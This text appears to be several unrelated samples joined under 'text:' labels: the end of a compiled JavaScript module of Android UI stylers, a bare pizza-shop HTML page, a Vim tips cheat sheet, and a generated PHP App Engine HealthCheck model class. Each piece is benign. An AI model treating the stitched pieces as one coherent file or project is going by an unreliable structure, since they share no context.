        style.registerHandler(style.fontInternalProperty, new stylersCommon.StylePropertyChangedHandler(TextViewStyler.setFontInternalProperty, TextViewStyler.resetFontInternalProperty, TextViewStyler.getNativeFontInternalValue), "Button");
        style.registerHandler(style.textAlignmentProperty, new stylersCommon.StylePropertyChangedHandler(TextViewStyler.setTextAlignmentProperty, TextViewStyler.resetTextAlignmentProperty, TextViewStyler.getNativeTextAlignmentValue), "Button");
    };
    return TextViewStyler;
})();
exports.TextViewStyler = TextViewStyler;
var ActivityIndicatorStyler = (function () {
    function ActivityIndicatorStyler() {
    }
    ActivityIndicatorStyler.setActivityIndicatorVisibilityProperty = function (view, newValue) {
        ActivityIndicatorStyler.setIndicatorVisibility(view.busy, newValue, view._nativeView);
    };
    ActivityIndicatorStyler.resetActivityIndicatorVisibilityProperty = function (view, nativeValue) {
        ActivityIndicatorStyler.setIndicatorVisibility(view.busy, enums.Visibility.visible, view._nativeView);
    };
    ActivityIndicatorStyler.setIndicatorVisibility = function (isBusy, visibility, nativeView) {
        if (visibility === enums.Visibility.collapsed || visibility === enums.Visibility.collapse) {
            nativeView.setVisibility(android.view.View.GONE);
        }
        else {
            nativeView.setVisibility(isBusy ? android.view.View.VISIBLE : android.view.View.INVISIBLE);
        }
    };
    ActivityIndicatorStyler.registerHandlers = function () {
        style.registerHandler(style.visibilityProperty, new stylersCommon.StylePropertyChangedHandler(ActivityIndicatorStyler.setActivityIndicatorVisibilityProperty, ActivityIndicatorStyler.resetActivityIndicatorVisibilityProperty), "ActivityIndicator");
    };
    return ActivityIndicatorStyler;
})();
exports.ActivityIndicatorStyler = ActivityIndicatorStyler;
var SegmentedBarStyler = (function () {
    function SegmentedBarStyler() {
    }
    SegmentedBarStyler.setColorProperty = function (view, newValue) {
        var tabHost = view._nativeView;
        for (var tabIndex = 0; tabIndex < tabHost.getTabWidget().getTabCount(); tabIndex++) {
            var tab = tabHost.getTabWidget().getChildTabViewAt(tabIndex);
            var t = tab.getChildAt(1);
            t.setTextColor(newValue);
        }
    };
    SegmentedBarStyler.resetColorProperty = function (view, nativeValue) {
        var tabHost = view._nativeView;
        for (var tabIndex = 0; tabIndex < tabHost.getTabWidget().getTabCount(); tabIndex++) {
            var tab = tabHost.getTabWidget().getChildTabViewAt(tabIndex);
            var t = tab.getChildAt(1);
            t.setTextColor(nativeValue);
        }
    };
    SegmentedBarStyler.getColorProperty = function (view) {
        var tabHost = view._nativeView;
        var textView = new android.widget.TextView(tabHost.getContext());
        return textView.getCurrentTextColor();
    };
    SegmentedBarStyler.registerHandlers = function () {
        style.registerHandler(style.colorProperty, new stylersCommon.StylePropertyChangedHandler(SegmentedBarStyler.setColorProperty, SegmentedBarStyler.resetColorProperty, SegmentedBarStyler.getColorProperty), "SegmentedBar");
    };
    return SegmentedBarStyler;
})();
exports.SegmentedBarStyler = SegmentedBarStyler;
var SearchBarStyler = (function () {
    function SearchBarStyler() {
    }
    SearchBarStyler.getBackgroundColorProperty = function (view) {
        var bar = view._nativeView;
        return bar.getDrawingCacheBackgroundColor();
    };
    SearchBarStyler.setBackgroundColorProperty = function (view, newValue) {
        var bar = view._nativeView;
        bar.setBackgroundColor(newValue);
        SearchBarStyler._changeSearchViewPlateBackgroundColor(bar, newValue);
    };
    SearchBarStyler.resetBackgroundColorProperty = function (view, nativeValue) {
        var bar = view._nativeView;
        bar.setBackgroundColor(nativeValue);
        SearchBarStyler._changeSearchViewPlateBackgroundColor(bar, nativeValue);
    };
    SearchBarStyler.getColorProperty = function (view) {
        var bar = view._nativeView;
        var textView = SearchBarStyler._getSearchViewTextView(bar);
        if (textView) {
            return textView.getCurrentTextColor();
        }
        return undefined;
    };
    SearchBarStyler.setColorProperty = function (view, newValue) {
        var bar = view._nativeView;
        SearchBarStyler._changeSearchViewTextColor(bar, newValue);
    };
    SearchBarStyler.resetColorProperty = function (view, nativeValue) {
        var bar = view._nativeView;
        SearchBarStyler._changeSearchViewTextColor(bar, nativeValue);
    };
    SearchBarStyler.setFontInternalProperty = function (view, newValue, nativeValue) {
        var bar = view.android;
        var textView = SearchBarStyler._getSearchViewTextView(bar);
        var fontValue = newValue;
        var typeface = fontValue.getAndroidTypeface();
        if (typeface) {
            textView.setTypeface(typeface);
        }
        else {
            textView.setTypeface(nativeValue.typeface);
        }
        if (fontValue.fontSize) {
            textView.setTextSize(fontValue.fontSize);
        }
        else {
            textView.setTextSize(android.util.TypedValue.COMPLEX_UNIT_PX, nativeValue.size);
        }
    };
    SearchBarStyler.resetFontInternalProperty = function (view, nativeValue) {
        var bar = view.android;
        var textView = SearchBarStyler._getSearchViewTextView(bar);
        textView.setTypeface(nativeValue.typeface);
        textView.setTextSize(android.util.TypedValue.COMPLEX_UNIT_PX, nativeValue.size);
    };
    SearchBarStyler.getNativeFontInternalValue = function (view) {
        var bar = view.android;
        var textView = SearchBarStyler._getSearchViewTextView(bar);
        return {
            typeface: textView.getTypeface(),
            size: textView.getTextSize()
        };
    };
    SearchBarStyler.registerHandlers = function () {
        style.registerHandler(style.backgroundColorProperty, new stylersCommon.StylePropertyChangedHandler(SearchBarStyler.setBackgroundColorProperty, SearchBarStyler.resetBackgroundColorProperty, SearchBarStyler.getBackgroundColorProperty), "SearchBar");
        style.registerHandler(style.colorProperty, new stylersCommon.StylePropertyChangedHandler(SearchBarStyler.setColorProperty, SearchBarStyler.resetColorProperty, SearchBarStyler.getColorProperty), "SearchBar");
        style.registerHandler(style.fontInternalProperty, new stylersCommon.StylePropertyChangedHandler(SearchBarStyler.setFontInternalProperty, SearchBarStyler.resetFontInternalProperty, SearchBarStyler.getNativeFontInternalValue), "SearchBar");
    };
    SearchBarStyler._getSearchViewTextView = function (bar) {
        var id = bar.getContext().getResources().getIdentifier("android:id/search_src_text", null, null);
        return bar.findViewById(id);
    };
    SearchBarStyler._changeSearchViewTextColor = function (bar, color) {
        var textView = SearchBarStyler._getSearchViewTextView(bar);
        if (textView) {
            textView.setTextColor(color);
        }
    };
    SearchBarStyler._changeSearchViewPlateBackgroundColor = function (bar, color) {
        var id = bar.getContext().getResources().getIdentifier("android:id/search_plate", null, null);
        var textView = bar.findViewById(id);
        if (textView) {
            textView.setBackgroundColor(color);
        }
    };
    return SearchBarStyler;
})();
exports.SearchBarStyler = SearchBarStyler;
function _registerDefaultStylers() {
    style.registerNoStylingClass("Frame");
    DefaultStyler.registerHandlers();
    ImageStyler.registerHandlers();
    TextViewStyler.registerHandlers();
    ActivityIndicatorStyler.registerHandlers();
    SegmentedBarStyler.registerHandlers();
    SearchBarStyler.registerHandlers();
}
exports._registerDefaultStylers = _registerDefaultStylers;


text:
<!DOCTYPE HTML>

    <title></title>
    <link href='https://fonts.googleapis.com/css?family=Poiret+One' rel='stylesheet' type='text/css'>
    <link href='./ruthAssignment/Pizza/stylesheet.css' rel='stylesheet' type='text/css'>

Pizza 3001

Store Hours

Breakfast Pizza: 8am - 11am

Lunch Specials: 11am - 1pm

Dine in and Order Out: 1pm - 2am

#### happy pizza odysseys this week!

    Link customers will never see


text:
~~~ sh
vi --version | grep syntax

#if -syntax =>
yum install vim-enhanced
alias vi=vim
~~~

~~~ vi
:color desert
~~~

## syntax

~~~ vi
:set syntax=sh
:set syn=off
~~~

## useful

- save and run current script

~~~ vi
:map ,t :w \|:!bash %<CR>
~~~

- comment lines

~~~ vi
ctrl-v 4j I # esc
:.,10s/^/#comment/gc
~~~

- execute replace on selection

~~~vi
:5,10s/old/new/g | 14,18 &&
:g/#comment/d
~~~

- using marks

~~~ vi
#set marks:
m a
m b
#jump between them
'a
'b
'ad'b # this will delete everything between marks a and b
~~~

- insert from OS commands

~~~ vi
:.!date
:r !date
~~~

- if don't have right to save..

~~~vi
:w !sudo tee %
~~~

## whitespace

~~~vi
set list
set nolist

#Optional :
set listchars=eol:$,tab:>-,trail:~,extends:>,precedes:<

filetype plugin indent on
set tabstop=4
set shiftwidth=4
set expandtab

#or
set expandtab ts=4 sw=4 ai
~~~

## language

~~~vi
set spell spelllang=en_us
set nospell

#]s and [s move to next/previous misspell word
#z= suggest alternatives
~~~

## color

~~~sh
ls /usr/share/vim/vim74/colors
#and
ls ~/.vim/colors
#in vim
colo blue
colorscheme blue
~~~

check terminal color capabilities:
~~~sh
tput colors
export TERM=xterm-256color
~~~

## dos2unix

~~~vi
:%s/<CTRL-V><CTRL-M>//g
#% = all lines
#<CTRL-V>=^ <CTRL-V><CTRL-M>=^M
#g=global = all occurrences on line
#instead of nothing we can user \r = new line in Unix

:set ff=dos
:set ff=unix
#where ff=file format
~~~

## fold

https://www.linux.com/learn/tutorials/442438-vim-tips-folding-fun

~~~vi
#select in visual and :
zf
#or
zf10j
~~~

## split

http://stackoverflow.com/questions/53664/how-to-effectively-work-with-multiple-files-in-vim

~~~vi
:split and :vertical split (:sp and :vs)
#naviage between windows
Ctrl-W w
#Close window
Ctrl-W c
#Increase window size
Ctrl-W +
#open file in window
:b myfile
~~~

~~~vi
:tabe file
:tabn
:tabp
#use gt and gT to navigate between tabs
~~~

## how to use leader

~~~vi
# Shortcut to rapidly toggle `set list`
nmap <leader>l :set list!<CR>
~~~

## move/copy region

~~~
#move lines 5, 6 and 7 to after line 21
:5,7m 21
:5,7co 21
#moves down 1 line
:m +1
#move up 1 lines
:m -2
~~~

##  case sensitive/insensitive search

http://stackoverflow.com/questions/2287440/how-to-do-case-insensitive-search-in-vim

~~~
#ignore case
:set ic
:set noic
#or: case insensive per individual search
/Copyright\c
~~~

## yaml seeting

~~~
autocmd FileType yaml setlocal ai ts=2 sw=2 et
~~~


text:
<?php

namespace Google\Service\Appengine;

class HealthCheck extends \Google\Model
{
  /**
   * @var string
   */
  public $checkInterval;
  /**
   * @var bool
   */
  public $disableHealthCheck;
  /**
   * @var string
   */
  public $healthyThreshold;
  /**
   * @var string
   */
  public $host;
  /**
   * @var string
   */
  public $restartThreshold;
  /**
   * @var string
   */
  public $timeout;
  /**
   * @var string
   */
  public $unhealthyThreshold;

  /**
   * @param string
   */
  public function setCheckInterval($checkInterval)
  {
    $this->checkInterval = $checkInterval;
  }
  /**
   * @return string
   */
  public function getCheckInterval()
  {
    return $this->checkInterval;
  }
  /**
   * @param bool
   */
  public function setDisableHealthCheck($disableHealthCheck)
  {
    $this->disableHealthCheck = $disableHealthCheck;
  }
  /**
   * @return bool
   */
  public function getDisableHealthCheck()
  {
    return $this->disableHealthCheck;
  }
  /**
   * @param string
   */
  public function setHealthyThreshold($healthyThreshold)
  {
    $this->healthyThreshold = $healthyThreshold;
  }
  /**
   * @return string
   */
  public function getHealthyThreshold()
  {
    return $this->healthyThreshold;
  }
  /**
   * @param string
   */
  public function setHost($host)
  {
    $this->host = $host;
  }
  /**
   * @return string
   */
  public function getHost()
  {
    return $this->host;
  }
  /**
   * @param string
   */
  public function setRestartThreshold($restartThreshold)
  {
    $this->restartThreshold = $restartThreshold;
  }
  /**
   * @return string
   */
  public function getRestartThreshold()
  {
    return $this->restartThreshold;
  }
  /**
   * @param string
   */
  public function setTimeout($timeout)
  {
    $this->timeout = $timeout;
  }
  /**
   * @return string
   */
  public function getTimeout()
  {
    return $this->timeout;
  }
  /**
   * @param string
   */
  public function setUnhealthyThreshold($unhealthyThreshold)
  {
    $this->unhealthyThreshold = $unhealthyThreshold;
  }
  /**
   * @return string
   */
  public function getUnhealthyThreshold()
  {
    return $this->unhealthyThreshold;
  }
}

// Adding a class alias for backwards compatibility with the previous class name.
class_alias(HealthCheck::class, 'Google_Service_Appengine_HealthCheck');